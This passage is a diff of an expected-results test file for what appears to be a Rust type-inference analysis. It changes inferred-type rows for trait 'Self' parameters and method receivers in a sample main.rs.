main.rs:215:18:215:18 | x | ST | main.rs:213:35:213:42 | I | | main.rs:215:18:215:27 | x.method(...) | | main.rs:213:35:213:42 | I | | main.rs:216:26:216:27 | s1 | | main.rs:213:35:213:42 | I | -| main.rs:219:65:219:65 | x | | main.rs:209:5:211:5 | trait SecondTrait | | main.rs:219:65:219:65 | x | | main.rs:219:46:219:62 | T | -| main.rs:219:65:219:65 | x | ST | main.rs:219:36:219:43 | I | | main.rs:221:13:221:14 | s2 | | main.rs:219:36:219:43 | I | -| main.rs:221:18:221:18 | x | | main.rs:209:5:211:5 | trait SecondTrait | | main.rs:221:18:221:18 | x | | main.rs:219:46:219:62 | T | -| main.rs:221:18:221:18 | x | ST | main.rs:219:36:219:43 | I | | main.rs:221:18:221:27 | x.method(...) | | main.rs:219:36:219:43 | I | | main.rs:222:26:222:27 | s2 | | main.rs:219:36:219:43 | I | -| main.rs:225:49:225:49 | x | | main.rs:205:5:207:5 | trait FirstTrait | | main.rs:225:49:225:49 | x | | main.rs:225:30:225:46 | T | -| main.rs:225:49:225:49 | x | FT | main.rs:197:5:198:14 | struct S1 | | main.rs:226:13:226:13 | s | | main.rs:197:5:198:14 | struct S1 | -| main.rs:226:17:226:17 | x | | main.rs:205:5:207:5 | trait FirstTrait | | main.rs:226:17:226:17 | x | | main.rs:225:30:225:46 | T | -| main.rs:226:17:226:17 | x | FT | main.rs:197:5:198:14 | struct S1 | | main.rs:226:17:226:26 | x.method(...) | | main.rs:197:5:198:14 | struct S1 | | main.rs:227:26:227:26 | s | | main.rs:197:5:198:14 | struct S1 | -| main.rs:230:53:230:53 | x | | main.rs:205:5:207:5 | trait FirstTrait | | main.rs:230:53:230:53 | x | | main.rs:230:34:230:50 | T | -| main.rs:230:53:230:53 | x | FT | main.rs:197:5:198:14 | struct S1 | | main.rs:231:13:231:13 | s | | main.rs:197:5:198:14 | struct S1 | -| main.rs:231:17:231:17 | x | | main.rs:205:5:207:5 | trait FirstTrait | | main.rs:231:17:231:17 | x | | main.rs:230:34:230:50 | T | -| main.rs:231:17:231:17 | x | FT | main.rs:197:5:198:14 | struct S1 | | main.rs:231:17:231:26 | x.method(...) | | main.rs:197:5:198:14 | struct S1 | | main.rs:232:26:232:26 | s | | main.rs:197:5:198:14 | struct S1 | -| main.rs:236:16:236:19 | SelfParam | | main.rs:235:5:239:5 | trait Pair | -| main.rs:236:16:236:19 | SelfParam | P1 | main.rs:235:16:235:17 | P1 | -| main.rs:236:16:236:19 | SelfParam | P2 | main.rs:235:20:235:21 | P2 | -| main.rs:238:16:238:19 | SelfParam | | main.rs:235:5:239:5 | trait Pair | -| main.rs:238:16:238:19 | SelfParam | P1 | main.rs:235:16:235:17 | P1 | -| main.rs:238:16:238:19 | SelfParam | P2 | main.rs:235:20:235:21 | P2 | -| main.rs:241:58:241:58 | x | | main.rs:235:5:239:5 | trait Pair | +| main.rs:236:16:236:19 | SelfParam | | main.rs:235:5:239:5 | Self [trait Pair] | +| main.rs:238:16:238:19 | SelfParam | | main.rs:235:5:239:5 | Self [trait Pair] | | main.rs:241:58:241:58 | x | | main.rs:241:41:241:55 | T | -| main.rs:241:58:241:58 | x | P1 | main.rs:197:5:198:14 | struct S1 | -| main.rs:241:58:241:58 | x | P2 | main.rs:200:5:201:14 | struct S2 | -| main.rs:241:64:241:64 | y | | main.rs:235:5:239:5 | trait Pair | | main.rs:241:64:241:64 | y | | main.rs:241:41:241:55 | T | -| main.rs:241:64:241:64 | y | P1 | main.rs:197:5:198:14 | struct S1 | -| main.rs:241:64:241:64 | y | P2 | main.rs:200:5:201:14 | struct S2 | | main.rs:243:13:243:14 | s1 | | main.rs:197:5:198:14 | struct S1 | -| main.rs:243:18:243:18 | x | | main.rs:235:5:239:5 | trait Pair | | main.rs:243:18:243:18 | x | | main.rs:241:41:241:55 | T | -| main.rs:243:18:243:18 | x | P1 | main.rs:197:5:198:14 | struct S1 | -| main.rs:243:18:243:18 | x | P2 | main.rs:200:5:201:14 | struct S2 | | main.rs:243:18:243:24 | x.fst(...) | | main.rs:197:5:198:14 | struct S1 | | main.rs:244:13:244:14 | s2 | | main.rs:200:5:201:14 | struct S2 | -| main.rs:244:18:244:18 | y | | main.rs:235:5:239:5 | trait Pair | | main.rs:244:18:244:18 | y | | main.rs:241:41:241:55 | T | -| main.rs:244:18:244:18 | y | P1 | main.rs:197:5:198:14 | struct S1 | -| main.rs:244:18:244:18 | y | P2 | main.rs:200:5:201:14 | struct S2 | | main.rs:244:18:244:24 | y.snd(...) | | main.rs:200:5:201:14 | struct S2 | | main.rs:245:32:245:33 | s1 | | main.rs:197:5:198:14 | struct S1 | | main.rs:245:36:245:37 | s2 | | main.rs:200:5:201:14 | struct S2 | -| main.rs:248:69:248:69 | x | | main.rs:235:5:239:5 | trait Pair | | main.rs:248:69:248:69 | x | | main.rs:248:52:248:66 | T | -| main.rs:248:69:248:69 | x | P1 | main.rs:197:5:198:14 | struct S1 | -| main.rs:248:69:248:69 | x | P2 | main.rs:248:41:248:49 | T2 | -| main.rs:248:75:248:75 | y | | main.rs:235:5:239:5 | trait Pair | | main.rs:248:75:248:75 | y | | main.rs:248:52:248:66 | T | -| main.rs:248:75:248:75 | y | P1 | main.rs:197:5:198:14 | struct S1 | -| main.rs:248:75:248:75 | y | P2 | main.rs:248:41:248:49 | T2 | | main.rs:250:13:250:14 | s1 | | main.rs:197:5:198:14 | struct S1 | -| main.rs:250:18:250:18 | x | | main.rs:235:5:239:5 | trait Pair | | main.rs:250:18:250:18 | x | | main.rs:248:52:248:66 | T | -| main.rs:250:18:250:18 | x | P1 | main.rs:197:5:198:14 | struct S1 | -| main.rs:250:18:250:18 | x | P2 | main.rs:248:41:248:49 | T2 | | main.rs:250:18:250:24 | x.fst(...) | | main.rs:197:5:198:14 | struct S1 | | main.rs:251:13:251:14 | s2 | | main.rs:248:41:248:49 | T2 | -| main.rs:251:18:251:18 | y | | main.rs:235:5:239:5 | trait Pair | | main.rs:251:18:251:18 | y | | main.rs:248:52:248:66 | T | -| main.rs:251:18:251:18 | y | P1 | main.rs:197:5:198:14 | struct S1 | -| main.rs:251:18:251:18 | y | P2 | main.rs:248:41:248:49 | T2 | | main.rs:251:18:251:24 | y.snd(...) | | main.rs:248:41:248:49 | T2 | | main.rs:252:32:252:33 | s1 | | main.rs:197:5:198:14 | struct S1 | | main.rs:252:36:252:37 | s2 | | main.rs:248:41:248:49 | T2 | -| main.rs:268:15:268:18 | SelfParam | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:268:15:268:18 | SelfParam | A | main.rs:267:19:267:19 | A | -| main.rs:270:15:270:18 | SelfParam | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:270:15:270:18 | SelfParam | A | main.rs:267:19:267:19 | A | +| main.rs:268:15:268:18 | SelfParam | | main.rs:267:5:276:5 | Self [trait MyTrait] | +| main.rs:270:15:270:18 | SelfParam | | main.rs:267:5:276:5 | Self [trait MyTrait] | | main.rs:273:9:275:9 | { ... } | | main.rs:267:19:267:19 | A | -| main.rs:274:13:274:16 | self | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:274:13:274:16 | self | A | main.rs:267:19:267:19 | A | +| main.rs:274:13:274:16 | self | | main.rs:267:5:276:5 | Self [trait MyTrait] | | main.rs:274:13:274:21 | self.m1(...) | | main.rs:267:19:267:19 | A | -| main.rs:279:43:279:43 | x | | main.rs:267:5:276:5 | trait MyTrait | | main.rs:279:43:279:43 | x | | main.rs:279:26:279:40 | T2 | -| main.rs:279:43:279:43 | x | A | main.rs:279:22:279:23 | T1 | | main.rs:279:56:281:5 | { ... } | | main.rs:279:22:279:23 | T1 | -| main.rs:280:9:280:9 | x | | main.rs:267:5:276:5 | trait MyTrait | | main.rs:280:9:280:9 | x | | main.rs:279:26:279:40 | T2 | -| main.rs:280:9:280:9 | x | A | main.rs:279:22:279:23 | T1 | | main.rs:280:9:280:14 | x.m1(...) | | main.rs:279:22:279:23 | T1 | | main.rs:284:49:284:49 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:284:49:284:49 | x | T | main.rs:267:5:276:5 | trait MyTrait | | main.rs:284:49:284:49 | x | T | main.rs:284:32:284:46 | T2 | -| main.rs:284:49:284:49 | x | T.A | main.rs:284:28:284:29 | T1 | | main.rs:284:71:286:5 | { ... } | | main.rs:284:28:284:29 | T1 | | main.rs:285:9:285:9 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:285:9:285:9 | x | T | main.rs:267:5:276:5 | trait MyTrait | | main.rs:285:9:285:9 | x | T | main.rs:284:32:284:46 | T2 | -| main.rs:285:9:285:9 | x | T.A | main.rs:284:28:284:29 | T1 | -| main.rs:285:9:285:11 | x.a | | main.rs:267:5:276:5 | trait MyTrait | | main.rs:285:9:285:11 | x.a | | main.rs:284:32:284:46 | T2 | -| main.rs:285:9:285:11 | x.a | A | main.rs:284:28:284:29 | T1 | | main.rs:285:9:285:16 | ... .m1(...) | | main.rs:284:28:284:29 | T1 | | main.rs:289:15:289:18 | SelfParam | | main.rs:257:5:260:5 | struct MyThing | | main.rs:289:15:289:18 | SelfParam | T | main.rs:288:10:288:10 | T | @@ -372,31 +270,19 @@ inferType | main.rs:299:26:299:26 | y | T | main.rs:264:5:265:14 | struct S2 | | main.rs:299:26:299:31 | y.m1(...) | | main.rs:264:5:265:14 | struct S2 | | main.rs:301:13:301:13 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:301:13:301:13 | x | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:301:13:301:13 | x | A | main.rs:262:5:263:14 | struct S1 | | main.rs:301:13:301:13 | x | T | main.rs:262:5:263:14 | struct S1 | | main.rs:301:17:301:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:301:17:301:33 | MyThing {...} | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:301:17:301:33 | MyThing {...} | A | main.rs:262:5:263:14 | struct S1 | | main.rs:301:17:301:33 | MyThing {...} | T | main.rs:262:5:263:14 | struct S1 | | main.rs:301:30:301:31 | S1 | | main.rs:262:5:263:14 | struct S1 | | main.rs:302:13:302:13 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:302:13:302:13 | y | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:302:13:302:13 | y | A | main.rs:264:5:265:14 | struct S2 | | main.rs:302:13:302:13 | y | T | main.rs:264:5:265:14 | struct S2 | | main.rs:302:17:302:33 | MyThing {...} | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:302:17:302:33 | MyThing {...} | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:302:17:302:33 | MyThing {...} | A | main.rs:264:5:265:14 | struct S2 | | main.rs:302:17:302:33 | MyThing {...} | T | main.rs:264:5:265:14 | struct S2 | | main.rs:302:30:302:31 | S2 | | main.rs:264:5:265:14 | struct S2 | | main.rs:304:26:304:26 | x | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:304:26:304:26 | x | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:304:26:304:26 | x | A | main.rs:262:5:263:14 | struct S1 | | main.rs:304:26:304:26 | x | T | main.rs:262:5:263:14 | struct S1 | | main.rs:304:26:304:31 | x.m2(...) | | main.rs:262:5:263:14 | struct S1 | | main.rs:305:26:305:26 | y | | main.rs:257:5:260:5 | struct MyThing | -| main.rs:305:26:305:26 | y | | main.rs:267:5:276:5 | trait MyTrait | -| main.rs:305:26:305:26 | y | A | main.rs:264:5:265:14 | struct S2 | | main.rs:305:26:305:26 | y | T | main.rs:264:5:265:14 | struct S2 | | main.rs:305:26:305:31 | y.m2(...) | | main.rs:264:5:265:14 | struct S2 | | main.rs:307:13:307:14 | x2 | | main.rs:257:5:260:5 | struct MyThing | @@ -441,8 +327,8 @@ inferType | main.rs:321:46:321:47 | y3 | | main.rs:257:5:260:5 | struct MyThing | | main.rs:321:46:321:47 | y3 | T | main.rs:257:5:260:5 | struct MyThing | | main.rs:321:46:321:47 | y3 | T.T | main.rs:264:5:265:14 | struct S2 | -| main.rs:329:15:329:18 | SelfParam | | main.rs:326:5:338:5 | trait MyTrait | -| main.rs:331:15:331:18 | SelfParam | | main.rs:326:5:338:5 | trait MyTrait | +| main.rs:329:15:329:18 | SelfParam | | main.rs:326:5:338:5 | Self [trait MyTrait] | +| main.rs:331:15:331:18 | SelfParam | | main.rs:326:5:338:5 | Self [trait MyTrait] | | main.rs:346:15:346:18 | SelfParam | | main.rs:340:5:341:13 | struct S | | main.rs:346:45:348:9 | { ... } | | main.rs:340:5:341:13 | struct S | | main.rs:347:13:347:13 | S | | main.rs:340:5:341:13 | struct S | @@ -450,11 +336,8 @@ inferType | main.rs:352:17:352:17 | S | | main.rs:340:5:341:13 | struct S | | main.rs:353:26:353:26 | x | | main.rs:340:5:341:13 | struct S | | main.rs:353:26:353:31 | x.m1(...) | | main.rs:340:5:341:13 | struct S | -| main.rs:355:13:355:13 | x | | main.rs:326:5:338:5 | trait MyTrait | | main.rs:355:13:355:13 | x | | main.rs:340:5:341:13 | struct S | -| main.rs:355:17:355:17 | S | | main.rs:326:5:338:5 | trait MyTrait | | main.rs:355:17:355:17 | S | | main.rs:340:5:341:13 | struct S | -| main.rs:356:26:356:26 | x | | main.rs:326:5:338:5 | trait MyTrait | | main.rs:356:26:356:26 | x | | main.rs:340:5:341:13 | struct S | | main.rs:373:15:373:18 | SelfParam | | main.rs:361:5:365:5 | enum MyEnum | | main.rs:373:15:373:18 | SelfParam | A | main.rs:372:10:372:10 | T | @@ -482,39 +365,21 @@ inferType | main.rs:386:26:386:26 | y | | main.rs:361:5:365:5 | enum MyEnum | | main.rs:386:26:386:26 | y | A | main.rs:369:5:370:14 | struct S2 | | main.rs:386:26:386:31 | y.m1(...) | | main.rs:369:5:370:14 | struct S2 | -| main.rs:407:15:407:18 | SelfParam | | main.rs:406:5:408:5 | trait MyTrait1 | -| main.rs:407:15:407:18 | SelfParam | Tr1 | main.rs:406:20:406:22 | Tr1 | -| main.rs:411:15:411:18 | SelfParam | | main.rs:406:5:408:5 | trait MyTrait1 | -| main.rs:411:15:411:18 | SelfParam | | main.rs:410:5:421:5 | trait MyTrait2 | -| main.rs:411:15:411:18 | SelfParam | Tr1 | main.rs:410:20:410:22 | Tr2 | -| main.rs:411:15:411:18 | SelfParam | Tr2 | main.rs:410:20:410:22 | Tr2 | +| main.rs:407:15:407:18 | SelfParam | | main.rs:406:5:408:5 | Self [trait MyTrait1] | +| main.rs:411:15:411:18 | SelfParam | | main.rs:410:5:421:5 | Self [trait MyTrait2] | | main.rs:414:9:420:9 | { ... } | | main.rs:410:20:410:22 | Tr2 | | main.rs:415:13:419:13 | if ... {...} else {...} | | main.rs:410:20:410:22 | Tr2 | | main.rs:415:26:417:13 | { ... } | | main.rs:410:20:410:22 | Tr2 | -| main.rs:416:17:416:20 | self | | main.rs:406:5:408:5 | trait MyTrait1 | -| main.rs:416:17:416:20 | self | | main.rs:410:5:421:5 | trait MyTrait2 | -| main.rs:416:17:416:20 | self | Tr1 | main.rs:410:20:410:22 | Tr2 | -| main.rs:416:17:416:20 | self | Tr2 | main.rs:410:20:410:22 | Tr2 | +| main.rs:416:17:416:20 | self | | main.rs:410:5:421:5 | Self [trait MyTrait2] | | main.rs:416:17:416:25 | self.m1(...) | | main.rs:410:20:410:22 | Tr2 | | main.rs:417:20:419:13 | { ... } | | main.rs:410:20:410:22 | Tr2 | | main.rs:418:17:418:30 | ...::m1(...) | | main.rs:410:20:410:22 | Tr2 | -| main.rs:418:26:418:29 | self | | main.rs:406:5:408:5 | trait MyTrait1 | -| main.rs:418:26:418:29 | self | | main.rs:410:5:421:5 | trait MyTrait2 | -| main.rs:418:26:418:29 | self | Tr1 | main.rs:410:20:410:22 | Tr2 | -| main.rs:418:26:418:29 | self | Tr2 | main.rs:410:20:410:22 | Tr2 | -| main.rs:424:15:424:18 | SelfParam | | main.rs:410:5:421:5 | trait MyTrait2 | -| main.rs:424:15:424:18 | SelfParam | | main.rs:423:5:434:5 | trait MyTrait3 | -| main.rs:424:15:424:18 | SelfParam | Tr2 | main.rs:391:5:394:5 | struct MyThing | -| main.rs:424:15:424:18 | SelfParam | Tr2.A | main.rs:423:20:423:22 | Tr3 | -| main.rs:424:15:424:18 | SelfParam | Tr3 | main.rs:423:20:423:22 | Tr3 | +| main.rs:418:26:418:29 | self | | main.rs:410:5:421:5 | Self [trait MyTrait2] | +| main.rs:424:15:424:18 | SelfParam | | main.rs:423:5:434:5 | Self [trait MyTrait3] | | main.rs:427:9:433:9 | { ... } | | main.rs:423:20:423:22 | Tr3 | | main.rs:428:13:432:13 | if ... {...} else {...} | | main.rs:423:20:423:22 | Tr3 | | main.rs:428:26:430:13 | { ... } | | main.rs:423:20:423:22 | Tr3 | -| main.rs:429:17:429:20 | self | | main.rs:410:5:421:5 | trait MyTrait2 | -| main.rs:429:17:429:20 | self | | main.rs:423:5:434:5 | trait MyTrait3 | -| main.rs:429:17:429:20 | self | Tr2 | main.rs:391:5:394:5 | struct MyThing | -| main.rs:429:17:429:20 | self | Tr2.A | main.rs:423:20:423:22 | Tr3 | -| main.rs:429:17:429:20 | self | Tr3 | main.rs:423:20:423:22 | Tr3 | +| main.rs:429:17:429:20 | self | | main.rs:423:5:434:5 | Self [trait MyTrait3] | | main.rs:429:17:429:25 | self.m2(...) | | main.rs:391:5:394:5 | struct MyThing | | main.rs:429:17:429:25 | self.m2(...) | A | main.rs:423:20:423:22 | Tr3 | | main.rs:429:17:429:27 | ... .a | | main.rs:423:20:423:22 | Tr3 | @@ -522,11 +387,7 @@ inferType | main.rs:431:17:431:30 | ...::m2(...) | | main.rs:391:5:394:5 | struct MyThing | | main.rs:431:17:431:30 | ...::m2(...) | A | main.rs:423:20:423:22 | Tr3 | | main.rs:431:17:431:32 | ... .a | | main.rs:423:20:423:22 | Tr3 | -| main.rs:431:26:431:29 | self | | main.rs:410:5:421:5 | trait MyTrait2 | -| main.rs:431:26:431:29 | self | | main.rs:423:5:434:5 | trait MyTrait3 | -| main.rs:431:26:431:29 | self | Tr2 | main.rs:391:5:394:5 | struct MyThing | -| main.rs:431:26:431:29 | self | Tr2.A | main.rs:423:20:423:22 | Tr3 | -| main.rs:431:26:431:29 | self | Tr3 | main.rs:423:20:423:22 | Tr3 | +| main.rs:431:26:431:29 | self | | main.rs:423:5:434:5 | Self [trait MyTrait3] | | main.rs:437:15:437:18 | SelfParam | | main.rs:391:5:394:5 | struct MyThing | | main.rs:437:15:437:18 | SelfParam | A | main.rs:436:10:436:10 | T | | main.rs:437:26:439:9 | { ... } | | main.rs:436:10:436:10 | T | @@ -559,60 +420,36 @@ inferType | main.rs:459:26:459:26 | y | A | main.rs:403:5:404:14 | struct S2 | | main.rs:459:26:459:31 | y.m1(...) | | main.rs:403:5:404:14 | struct S2 | | main.rs:461:13:461:13 | x | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:461:13:461:13 | x | | main.rs:410:5:421:5 | trait MyTrait2 | | main.rs:461:13:461:13 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:461:13:461:13 | x | Tr2 | main.rs:401:5:402:14 | struct S1 | | main.rs:461:17:461:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:461:17:461:33 | MyThing {...} | | main.rs:410:5:421:5 | trait MyTrait2 | | main.rs:461:17:461:33 | MyThing {...} | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:461:17:461:33 | MyThing {...} | Tr2 | main.rs:401:5:402:14 | struct S1 | | main.rs:461:30:461:31 | S1 | | main.rs:401:5:402:14 | struct S1 | | main.rs:462:13:462:13 | y | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:462:13:462:13 | y | | main.rs:410:5:421:5 | trait MyTrait2 | | main.rs:462:13:462:13 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:462:13:462:13 | y | Tr2 | main.rs:403:5:404:14 | struct S2 | | main.rs:462:17:462:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:462:17:462:33 | MyThing {...} | | main.rs:410:5:421:5 | trait MyTrait2 | | main.rs:462:17:462:33 | MyThing {...} | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:462:17:462:33 | MyThing {...} | Tr2 | main.rs:403:5:404:14 | struct S2 | | main.rs:462:30:462:31 | S2 | | main.rs:403:5:404:14 | struct S2 | | main.rs:464:26:464:26 | x | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:464:26:464:26 | x | | main.rs:410:5:421:5 | trait MyTrait2 | | main.rs:464:26:464:26 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:464:26:464:26 | x | Tr2 | main.rs:401:5:402:14 | struct S1 | | main.rs:464:26:464:31 | x.m2(...) | | main.rs:401:5:402:14 | struct S1 | | main.rs:465:26:465:26 | y | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:465:26:465:26 | y | | main.rs:410:5:421:5 | trait MyTrait2 | | main.rs:465:26:465:26 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:465:26:465:26 | y | Tr2 | main.rs:403:5:404:14 | struct S2 | | main.rs:465:26:465:31 | y.m2(...) | | main.rs:403:5:404:14 | struct S2 | | main.rs:467:13:467:13 | x | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:467:13:467:13 | x | | main.rs:423:5:434:5 | trait MyTrait3 | | main.rs:467:13:467:13 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:467:13:467:13 | x | Tr3 | main.rs:401:5:402:14 | struct S1 | | main.rs:467:17:467:34 | MyThing2 {...} | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:467:17:467:34 | MyThing2 {...} | | main.rs:423:5:434:5 | trait MyTrait3 | | main.rs:467:17:467:34 | MyThing2 {...} | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:467:17:467:34 | MyThing2 {...} | Tr3 | main.rs:401:5:402:14 | struct S1 | | main.rs:467:31:467:32 | S1 | | main.rs:401:5:402:14 | struct S1 | | main.rs:468:13:468:13 | y | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:468:13:468:13 | y | | main.rs:423:5:434:5 | trait MyTrait3 | | main.rs:468:13:468:13 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:468:13:468:13 | y | Tr3 | main.rs:403:5:404:14 | struct S2 | | main.rs:468:17:468:34 | MyThing2 {...} | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:468:17:468:34 | MyThing2 {...} | | main.rs:423:5:434:5 | trait MyTrait3 | | main.rs:468:17:468:34 | MyThing2 {...} | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:468:17:468:34 | MyThing2 {...} | Tr3 | main.rs:403:5:404:14 | struct S2 | | main.rs:468:31:468:32 | S2 | | main.rs:403:5:404:14 | struct S2 | | main.rs:470:26:470:26 | x | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:470:26:470:26 | x | | main.rs:423:5:434:5 | trait MyTrait3 | | main.rs:470:26:470:26 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:470:26:470:26 | x | Tr3 | main.rs:401:5:402:14 | struct S1 | | main.rs:470:26:470:31 | x.m3(...) | | main.rs:401:5:402:14 | struct S1 | | main.rs:471:26:471:26 | y | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:471:26:471:26 | y | | main.rs:423:5:434:5 | trait MyTrait3 | | main.rs:471:26:471:26 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:471:26:471:26 | y | Tr3 | main.rs:403:5:404:14 | struct S2 | | main.rs:471:26:471:31 | y.m3(...) | | main.rs:403:5:404:14 | struct S2 | | main.rs:489:22:489:22 | x | | file://:0:0:0:0 | & | | main.rs:489:22:489:22 | x | &T | main.rs:489:11:489:19 | T | @@ -685,16 +522,13 @@ inferType | main.rs:563:26:563:27 | p3 | | main.rs:525:5:531:5 | enum PairOption | | main.rs:563:26:563:27 | p3 | Fst | main.rs:539:5:540:14 | struct S3 | | main.rs:575:16:575:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:575:16:575:24 | SelfParam | &T | main.rs:574:5:580:5 | trait MyTrait | -| main.rs:575:16:575:24 | SelfParam | &T.S | main.rs:574:19:574:19 | S | +| main.rs:575:16:575:24 | SelfParam | &T | main.rs:574:5:580:5 | Self [trait MyTrait] | | main.rs:575:27:575:31 | value | | main.rs:574:19:574:19 | S | | main.rs:577:21:577:29 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:577:21:577:29 | SelfParam | &T | main.rs:574:5:580:5 | trait MyTrait | -| main.rs:577:21:577:29 | SelfParam | &T.S | main.rs:574:19:574:19 | S | +| main.rs:577:21:577:29 | SelfParam | &T | main.rs:574:5:580:5 | Self [trait MyTrait] | | main.rs:577:32:577:36 | value | | main.rs:574:19:574:19 | S | | main.rs:578:13:578:16 | self | | file://:0:0:0:0 | & | -| main.rs:578:13:578:16 | self | &T | main.rs:574:5:580:5 | trait MyTrait | -| main.rs:578:13:578:16 | self | &T.S | main.rs:574:19:574:19 | S | +| main.rs:578:13:578:16 | self | &T | main.rs:574:5:580:5 | Self [trait MyTrait] | | main.rs:578:22:578:26 | value | | main.rs:574:19:574:19 | S | | main.rs:583:16:583:24 | SelfParam | | file://:0:0:0:0 | & | | main.rs:583:16:583:24 | SelfParam | &T | main.rs:568:5:572:5 | enum MyOption | @@ -733,18 +567,10 @@ inferType | main.rs:610:26:610:27 | x2 | | main.rs:568:5:572:5 | enum MyOption | | main.rs:610:26:610:27 | x2 | T | main.rs:601:5:602:13 | struct S | | main.rs:612:13:612:18 | mut x3 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:612:13:612:18 | mut x3 | | main.rs:574:5:580:5 | trait MyTrait | -| main.rs:612:13:612:18 | mut x3 | S | main.rs:601:5:602:13 | struct S | | main.rs:612:22:612:36 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:612:22:612:36 | ...::new(...) | | main.rs:574:5:580:5 | trait MyTrait | -| main.rs:612:22:612:36 | ...::new(...) | S | main.rs:601:5:602:13 | struct S | | main.rs:613:9:613:10 | x3 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:613:9:613:10 | x3 | | main.rs:574:5:580:5 | trait MyTrait | -| main.rs:613:9:613:10 | x3 | S | main.rs:601:5:602:13 | struct S | | main.rs:613:21:613:21 | S | | main.rs:601:5:602:13 | struct S | | main.rs:614:26:614:27 | x3 | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:614:26:614:27 | x3 | | main.rs:574:5:580:5 | trait MyTrait | -| main.rs:614:26:614:27 | x3 | S | main.rs:601:5:602:13 | struct S | | main.rs:616:13:616:18 | mut x4 | | main.rs:568:5:572:5 | enum MyOption | | main.rs:616:13:616:18 | mut x4 | T | main.rs:601:5:602:13 | struct S | | main.rs:616:22:616:36 | ...::new(...) | | main.rs:568:5:572:5 | enum MyOption | @@ -940,29 +766,25 @@ inferType | main.rs:697:28:697:29 | x6 | &T | main.rs:651:5:652:19 | struct S | | main.rs:697:28:697:29 | x6 | &T.T | main.rs:654:5:655:14 | struct S2 | | main.rs:703:16:703:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:703:16:703:20 | SelfParam | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:703:16:703:20 | SelfParam | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | | main.rs:705:16:705:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:705:16:705:20 | SelfParam | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:705:16:705:20 | SelfParam | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | | main.rs:705:32:707:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:705:32:707:9 | { ... } | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:705:32:707:9 | { ... } | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | | main.rs:706:13:706:16 | self | | file://:0:0:0:0 | & | -| main.rs:706:13:706:16 | self | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:706:13:706:16 | self | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | | main.rs:706:13:706:22 | self.foo(...) | | file://:0:0:0:0 | & | -| main.rs:706:13:706:22 | self.foo(...) | &T | main.rs:702:5:708:5 | trait MyTrait | +| main.rs:706:13:706:22 | self.foo(...) | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | | main.rs:713:16:713:20 | SelfParam | | file://:0:0:0:0 | & | | main.rs:713:16:713:20 | SelfParam | &T | main.rs:710:5:710:20 | struct MyStruct | | main.rs:713:36:715:9 | { ... } | | file://:0:0:0:0 | & | | main.rs:713:36:715:9 | { ... } | &T | main.rs:710:5:710:20 | struct MyStruct | | main.rs:714:13:714:16 | self | | file://:0:0:0:0 | & | | main.rs:714:13:714:16 | self | &T | main.rs:710:5:710:20 | struct MyStruct | -| main.rs:719:13:719:13 | x | | main.rs:702:5:708:5 | trait MyTrait | | main.rs:719:13:719:13 | x | | main.rs:710:5:710:20 | struct MyStruct | -| main.rs:719:17:719:24 | MyStruct | | main.rs:702:5:708:5 | trait MyTrait | | main.rs:719:17:719:24 | MyStruct | | main.rs:710:5:710:20 | struct MyStruct | -| main.rs:720:9:720:9 | x | | main.rs:702:5:708:5 | trait MyTrait | | main.rs:720:9:720:9 | x | | main.rs:710:5:710:20 | struct MyStruct | | main.rs:720:9:720:15 | x.bar(...) | | file://:0:0:0:0 | & | -| main.rs:720:9:720:15 | x.bar(...) | &T | main.rs:702:5:708:5 | trait MyTrait | | main.rs:720:9:720:15 | x.bar(...) | &T | main.rs:710:5:710:20 | struct MyStruct | | 